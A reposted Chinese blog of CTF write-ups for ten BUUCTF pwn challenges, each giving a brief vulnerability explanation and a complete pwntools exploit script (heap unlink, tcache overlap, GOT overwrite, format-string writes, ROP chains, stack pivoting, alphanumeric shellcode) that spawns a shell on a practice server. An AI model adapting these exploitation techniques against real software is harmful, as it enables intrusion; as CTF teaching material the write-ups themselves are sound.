buuctf-pwn write-ups (10)

news2025/1/19 17:06:26

文章目录

  • buu073-hitcontraining_bamboobox
  • buu074-cmcc_pwnme2
  • buu075-picoctf_2018_got-shell
  • buu076-npuctf_2020_easyheap
  • buu077-wdb_2018_2nd_easyfmt
  • buu078-PicoCTF_2018_can-you-gets-me
  • buu079-mrctf2020_easy_equation
  • buu080-ACTF_2019_babystack
  • buu081-mrctf2020_shellcode_revenge
  • buu082-suctf_2018_basic pwn

buu073-hitcontraining_bamboobox

数据结构:

共可申请100个结构,其中change_item函数有任意长度堆溢出漏洞。

本题程序加载地址固定,itemlist地址固定,因此考虑使用unlink方法解题。

unlink之后可以直接通过第一个chunk读取到stdin的地址,从而获取libc加载基址。
需要注意的是这里修改的是atoi函数的got表地址,如果修改free函数的got表地址,由于输入时程序会将输入的后面一个字节清零,会导致free函数got表后面的一个地址(puts)发生错误,使得menu函数调用puts函数失败。而atoi后面是exit函数地址,无关紧要。

from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29731)
elf = ELF('./pwn')

def add(length, content):
    io.sendlineafter(b'Your choice:', b'2')
    io.sendlineafter(b'Please enter the length of item name:', str(length).encode())
    io.sendafter(b'Please enter the name of item:', content)

def show():
    io.sendlineafter(b'Your choice:', b'1')

def change(index, length, content):
    io.sendlineafter(b'Your choice:', b'3')
    io.sendlineafter(b'Please enter the index of item:', str(index).encode())
    io.sendlineafter(b'Please enter the length of item name:', str(length).encode())
    io.sendafter(b'Please enter the new name of the item:', content)

def delete(index):
    io.sendlineafter(b'Your choice:', b'4')
    io.sendlineafter(b'Please enter the index of item:', str(index).encode())

add(0x88, b'colin')     # chunk #0
add(0x88, b'colin')     # chunk #1
add(0x20, b'/bin/sh')   # chunk #2
payload = p64(0x10)
payload += p64(0x81)
payload += p64(0x6020C8 - 0x18)
payload += p64(0x6020C8 - 0x10)
payload += cyclic(0x60)
payload += p64(0x80)
payload += p64(0x90)
change(0, 0x90, payload)
delete(1)
show()
io.recv(4)
stdin = u64(io.recv(6) + b'\x00\x00')
print(hex(stdin))
libc = LibcSearcher('_IO_2_1_stdin_', stdin)
base = stdin - libc.dump('_IO_2_1_stdin_')
sys = base + libc.dump('system')
change(0, 0x20, p64(stdin) + p64(0) + p64(0x88) + p64(elf.got['atoi']))
change(0, 0x8, p64(sys))
io.sendline(b'/bin/sh')
io.interactive()

buu074-cmcc_pwnme2

简单的栈溢出,题目给的拼接字符串的函数里面的路径是错的,不需要用,直接输出got表然后get shell即可。

from pwn import *
from LibcSearcher import *
context.log_level='debug'

# io = process("./pwnme2")
io = remote("node4.buuoj.cn", 29174)
elf = ELF("./pwnme2")

payload = cyclic(0x70)
payload += p32(elf.plt['puts'])
payload += p32(elf.symbols['main'])
payload += p32(elf.got['puts'])

io.sendlineafter('Please input:', payload)
io.recvuntil(b'Hello')
io.recvuntil(b'\n')
puts = u32(io.recv(4))
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
print(hex(binsh))

payload = cyclic(0x70)
payload += p32(system)
payload += p32(elf.symbols['main'])
payload += p32(binsh)
io.sendlineafter('Please input:', payload)

io.interactive()

buu075-picoctf_2018_got-shell

在修改后还调用了puts函数,因此只需要将puts函数的got表内容改成win函数地址即可。

from pwn import *
context.log_level = 'debug'
# io = process('./PicoCTF_2018_got-shell')
io = remote('node4.buuoj.cn', 27364)
elf = ELF('./PicoCTF_2018_got-shell')
target = elf.got['puts']
value = elf.symbols['win']

io.sendlineafter(b'value?\n', hex(target)[2:].encode())
io.sendlineafter(hex(target)[2:].encode(), hex(value)[2:].encode())

io.interactive()

buu076-npuctf_2020_easyheap

增删改查四个功能,其中增加只能增加大小为0x20或0x40的堆块。改功能有off by one漏洞。

本题环境是2.27,因此释放的堆块都会在tcache中保存。而要想tcache中的堆块被重新分配,其大小就必须是0x20或0x40。如果使用off by one漏洞修改一个堆块的size,则必须在其正在使用时修改,否则当堆块释放时修改大小,在重新分配时无法通过检查。至于大小的修改,有两种可能:改大或改小。

如果改大,则只能从0x20改为0x40,修改后的大小如果不为0x40,在释放后将无法被重新分配。如果改小,可以从0x40改为0x20,后面的部分由于可以控制,因此可以伪造成一个假chunk。

这里选择的是改大。如何改?首先想象这样的堆排布:三个0x20的chunk,前面2个都是用作buffer,后面一个用于heaparray结构,现在通过edit第1个chunk将第2个chunk的大小改成0x40,再释放第2、3个chunk,就会产生chunk重叠,之后再重新分配回来,就可以通过edit随意修改heaparray中的指针,进而实现任意地址写。本题中最方便的就是改到free的got表位置,通过show获取libc地址,然后将这里的值改成system函数地址,直接delete即可get shell。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# io = process("npuctf_2020_easyheap")
io = remote('node4.buuoj.cn', 29065)
elf = ELF("npuctf_2020_easyheap")

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)

def create_heap(size, content):
	sla(b'Your choice :', b'1')
	sla(b'Size of Heap(0x10 or 0x20 only) : ', str(size).encode())
	sla(b'Content:', content)
	
def edit_heap(index, content):
	sla(b'Your choice :', b'2')
	sla(b'Index :', str(index).encode())
	sla(b'Content: ', content)

def show_heap(index):
	sla(b'Your choice :', b'3')
	sla(b'Index :', str(index).encode())
	
def delete_heap(index):
	sla(b'Your choice :', b'4')
	sla(b'Index :', str(index).encode())

create_heap(0x18, cyclic(0x38))	# 0
create_heap(0x18, cyclic(0x18))	# 1
create_heap(0x18, cyclic(0x18))	# 2
delete_heap(0)
edit_heap(1, b'/bin/sh'.ljust(0x18, b'\x00') + p8(0x41))
delete_heap(2)
create_heap(0x38, b'/bin/sh'.ljust(0x18, b'\x00') + p64(0x21) + p64(0x38) + p64(elf.got['free']))
show_heap(0)
io.recvuntil(b'Content : ')
free = u64(io.recv(6) + b'\x00\x00')
print(hex(free))
libc = LibcSearcher('free', free)
base = free - libc.dump('free')
print(hex(base))
system = base + libc.dump('system')
edit_heap(0, p64(system))
delete_heap(1)
io.interactive()

buu077-wdb_2018_2nd_easyfmt

这题在bugku上也有,好像是叫pwn07,简单的格式化字符串漏洞,不多解释了。

from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')

elf = ELF('./pwn')

io = remote('node4.buuoj.cn', 29596)
# io = process('./pwn')
io.recvuntil(b'Do you know repeater?\n')

payload1 = p32(elf.got['read']) + b'%6$s'
io.send(payload1)

mem_read_addr = u32(io.recv()[4:8])

libc = LibcSearcher('read', mem_read_addr)
libc_base = mem_read_addr - libc.dump('read')
mem_sys_addr = libc_base + libc.dump('system')
mem_printf_addr = libc_base + libc.dump('printf')

payload2 = fmtstr_payload(6, {elf.got['printf']: mem_sys_addr}, write_size = 'byte')
io.send(payload2)
io.interactive()	# choose 3rd of libc

buu078-PicoCTF_2018_can-you-gets-me

静态编译的32位程序,没有system函数和字符串/bin/sh,因此通过orw方式读取flag。

from pwn import *
context.log_level = 'debug'

# io = process('./PicoCTF_2018_can-you-gets-me')
io = remote('node4.buuoj.cn', 27340)
elf = ELF('./PicoCTF_2018_can-you-gets-me')

pop4 = 0x809d6f4
write_addr = 0x80EBD20

payload = cyclic(0x18 + 4)
payload += p32(elf.symbols['read'])
payload += p32(pop4)
payload += p32(0)
payload += p32(write_addr)
payload += p32(5)
payload += p32(0)
payload += p32(elf.symbols['open'])
payload += p32(pop4)
payload += p32(write_addr)
payload += p32(0) * 3
payload += p32(elf.symbols['read'])
payload += p32(pop4)
payload += p32(3)
payload += p32(write_addr)
payload += p32(0x30)
payload += p32(0)
payload += p32(elf.symbols['write'])
payload += p32(0)
payload += p32(1)
payload += p32(write_addr)
payload += p32(0x30)

io.sendlineafter(b'GIVE ME YOUR NAME!', payload)
time.sleep(0.5)
io.sendline(b'/flag')
io.interactive()

buu079-mrctf2020_easy_equation

简单的格式化字符串漏洞。

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

sol = 2
# io = process('./mrctf2020_easy_equation')
io = remote('node4.buuoj.cn', 25629)
elf = ELF('./mrctf2020_easy_equation')

# gdb.attach(io)
# time.sleep(3)
payload = b'a%1c%10$hhnaaaaba' + p64(0x60105C)
print(payload)
io.sendline(payload)
io.interactive()

buu080-ACTF_2019_babystack

这一题本来是只能溢出8个字节,即刚好覆盖返回地址,这种情况可以通过修改rbp的值,返回到leave ; ret指令方法来进行栈迁移。正好本题给出了一个栈地址,就可以利用这个栈地址覆写rbp,然后栈迁移。

本题使用到了ret2csu的方法,因为一开始不知道libc基址,于是首先通过调用puts函数的plt表获取libc基地址,然后在后面调用一个read函数,继续补全下面的ROP链(补充system函数调用的部分)。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

# io = process('./ACTF_2019_babystack')
io = remote('node4.buuoj.cn', 26302)
elf = ELF('./ACTF_2019_babystack')

io.sendlineafter(b'>', b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = int((io.recvuntil(b'\n', drop=True).decode())[2:], 16)
print(hex(stack_addr))

poprdi_ret = 0x400ad3
main = 0x4008F6

payload = p64(poprdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x400ACA)
payload += p64(0)		# rbx
payload += p64(1)		# rbp
payload += p64(elf.got['read'])	# r12
payload += p64(0x30)		# r13
payload += p64(stack_addr + 18 * 8)	# r14
payload += p64(0)		# r15
payload += p64(0x400AB0)
payload += p64(0) * 6
payload = payload.ljust(0xD0, b'\x00') + p64(stack_addr - 0x8) + p64(0x400A18)

io.sendafter(b'>', payload)

io.recvuntil(b'Byebye~\n')
puts = u64(io.recvuntil(b'\n', drop=True) + b'\x00\x00')
print(hex(puts))

libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
print(hex(base))
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')

payload = p64(poprdi_ret)
payload += p64(binsh)
payload += p64(system)
io.send(payload)

io.interactive()

buu081-mrctf2020_shellcode_revenge

单纯的一个只允许使用字母和数字的shellcode,使用ae64可直接获取。

from pwn import *
from ae64 import *
context.log_level = 'debug'
context.arch = 'amd64'

# io = process(['./mrctf2020_shellcode_revenge'])
io = remote('node4.buuoj.cn', 25890)

sa = lambda x, y: io.sendafter(x, y)
shellcode = AE64().encode(asm(shellcraft.amd64.sh()), 'rax')

if __name__ == '__main__':
    sa(b'Show me your magic!\n', shellcode)
    io.interactive()

buu082-suctf_2018_basic pwn

最简单的栈溢出。

from pwn import *
context.log_level = 'debug'

# io = process('./SUCTF_2018_basic_pwn')
io = remote('node4.buuoj.cn', 29234)
elf = ELF('./SUCTF_2018_basic_pwn')

io.sendline(cyclic(0x110 + 8) + p64(0x401157))

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/386838.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言每日一题】——杨氏矩阵

【C语言每日一题】——倒置字符串😎前言🙌杨氏矩阵🙌总结撒花💞😎博客昵称:博客小梦 😊最喜欢的座右铭:全神贯注的上吧!!! 😊作者简介…

WebGL系列教程 — 绘制点(版本2、版本3、版本4、版本5)

目录 0.WebGL简介: 绘制一个点 绘制一个点(版本2) 绘制一个点(版本3) 绘制一个点(版本4) 实现 绘制一个点(版本5) 0.WebGL简介: WebGL是一种用于在We…

Linux学习第六节-Facl访问控制列表

1.概念 FACL(Filesystemctl Access Control List ) 文件系统访问控制列表:利用文件扩展属性保存额外的访问控制权限,单独为每一个用户量身定制一个权限。 命令格式: setfacl [选项] 归属关系:用户名:权限 目录 常用选…

【数据结构起航】:衡量算法的好坏--时间空间复杂度

时间复杂度和空间复杂度 文章目录时间复杂度和空间复杂度1.算法效率1.1算法复杂度1.2复杂度在OJ里的应用2.时间复杂度2.1时间复杂度的概率2.2大O渐进表示法推导大O阶方法:2.3时间复杂度的举例计算3.空间复杂度3.1空间复杂度的举例计算4.复杂度各量级对比1.算法效率 …

ECharts数据可视化库--导入EChars库

目录 一.ECharts基本认识 二.EChars库导入 1.下载echart.js文件 2.在IDEA引入eharts.js 三.数据可视化绘制 最快乐的学习就是从繁入简,虽然此文章比较简短,但花最少的时间学最多的技能是真的香,点个关注吧!这个是数据可视化的…

Kubernetes三 Kubernetes之Pod控制器与service详解

KubernetesPod详解 一 Pod控制器详解 1.1 Pod控制器介绍 Pod是kubernetes的最小管理单元,在kubernetes中,按照pod的创建方式可以将其分为两类: 自主式pod(不推荐):kubernetes直接创建出来的Pod&#xf…

MDK Keil查看map文件及编译占用内存信息、函数入口地址

一、在哪里打开map文件查看(1)第一种,在keil软件下,双击你的工程名,map就会弹出(2)第二种,点击魔术棒,查看 Lis文件输出的位置入口我的在output...文件下,那我…

努力构建15分钟听力圈,腾讯天籁行动助力听障老人更快融入数字社会

3月3日,腾讯与北京听力协会联合举办线上技术研讨会,以“AI助听技术发展与应用创新”为主题,汇聚国内从事AI助听、辅听相关理论研究及前沿技术落地的专家学者,共同探讨当前人工智能在听力健康领域的研究热点和实践成果。会上&#…

得物供应链复杂业务实时数仓建设之路

1 背景 得物供应链业务是纷繁复杂的,我们既有 JIT 的现货模式中间夹着这大量的仓库作业环节,又有到仓的寄售,品牌业务,有非常复杂的逆向链路。在这么复杂的业务背后,我们需要精细化关注人货场车的效率和成本&#xff…

Malware Dev 03 - 隐匿之 Command Line Spoofing 原理解析

写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里: https://discord.gg/9XvvuFq9Wb我拥有 OSCP,OSEP,OSWE,OSED&…

浅分析BIG-建筑展示系统

一、主页(主要界面)重点疑点(需要解决)1.云平台实时同步。是否可以电脑与hololens2同步或链接?并可以传输信息提醒?一级界面(启动界面)1.交互式启动激活效果(触发按钮旋转…

TCP协议三次握手的原因是什么?为什么不用两次握手和4次握手?

今天复习了TCP协议的三次握手,对上一篇C网络编程有了更深的理解。当时考研的时候计网学过,这里再总结一下分享。网图都是截图来的,侵删。TCP协议属于传输层协议,上面的应用层协议包括HTTP、FTP之类,应用层协议是最接近…

Prometheus 监控云Mysql和自建Mysql(多实例)

本文您将了解到 Prometheus如何配置才能监控云Mysql(包括阿里云、腾讯云、华为云)和自建Mysql。 Prometheus 提供了很多种Exporter,用于监控第三方系统指标,如果没有提供也可以根据Exporter规范自定义Exporter。 本文将通过MySQL server exporter 来监控…

通达信波段主图指标公式,源码简洁原理却不简单

通达信波段主图指标公式的核心语句也就4句&#xff0c;后面的语句都是为了画图的。公式看起来比较简单&#xff0c;原理也比较巧妙&#xff0c;但是理解起来有些困难。 直接上源码&#xff1a; HH:HHV(H,5); LL:LLV(L,5); TH:BARSLAST(H>REF(HH,1)); TL:BARSLAST(L<REF(…

K8s(v1.25.1) 高可用集群(3 Master + 5 Node) Ansible 剧本部署(CRI使用docker,cri-docker)

写在前面 分享一个 k8s 高可用集群部署的 Ansible 剧本以及涉及到的一些工具的安装博文内容涉及&#xff1a;从零开始 一个 k8s 高可用 集群部署 Ansible剧本编写&#xff0c;编写后搭建 k8s 高可用 集群一些集群常用的 监控&#xff0c;备份工具安装&#xff0c;包括&#xff…

边缘计算:万字长文详解高通SNPE inception_v3推理实战

本文主要讲解利用高通SNPE进行神经网络推理&#xff0c;主要参考&#xff1a; 上手SNPE&#xff0d;推理inception_v3 - 知乎 文中是容器做的&#xff0c;在conda环境下做一样的&#xff0c;没问题&#xff0c;已跑通。 在anaconda环境中使用conda命令安装cuda、cudnn、tens…

数据结构与算法系列之单链表

&#x1f497; &#x1f497; 博客:小怡同学 &#x1f497; &#x1f497; 个人简介:编程小萌新 &#x1f497; &#x1f497; 如果博客对大家有用的话&#xff0c;请点赞关注再收藏 &#x1f31e; 这里写目录标题test.hSList.h注意事项一级指针与二级指针的使用assert的使用空…

内大892复试真题19年

内大892复试真题19年 1. 统计低于平均分的人数2. 输出数组中最大值3. 一元二次方程求根4. 字符串数组平移(反转法)5. 矩阵乘法(分治+strassen思想)1. 统计低于平均分的人数 问题 代码 #include <iostream>using namespace std;// 函数声明 double avgFunc

0098 Mysql01

1.登录Mysql mysql -uroot -p密码 2.Mysql常用命令 退出:exit 查看mysql有哪些数据库&#xff1a;show databases;(以分号结尾) 选择使用某个数据库&#xff1a;use sys; (表示正在使用一个名叫sys得数据库) 创建数据库&#xff1a;create database bjpowernode; 查看某个数…

FFmpeg入门 - 格式转换

1、音频分⽚(plane)与打包(packed)解码出来的AVFrame,它的data字段放的是视频像素数据或者音频的PCM裸流数据,linesize字段放的是对齐后的画面行长度或者音频的分片长度:/*** For video, size in bytes of each picture line.* For audio, size in bytes of each plane.** For …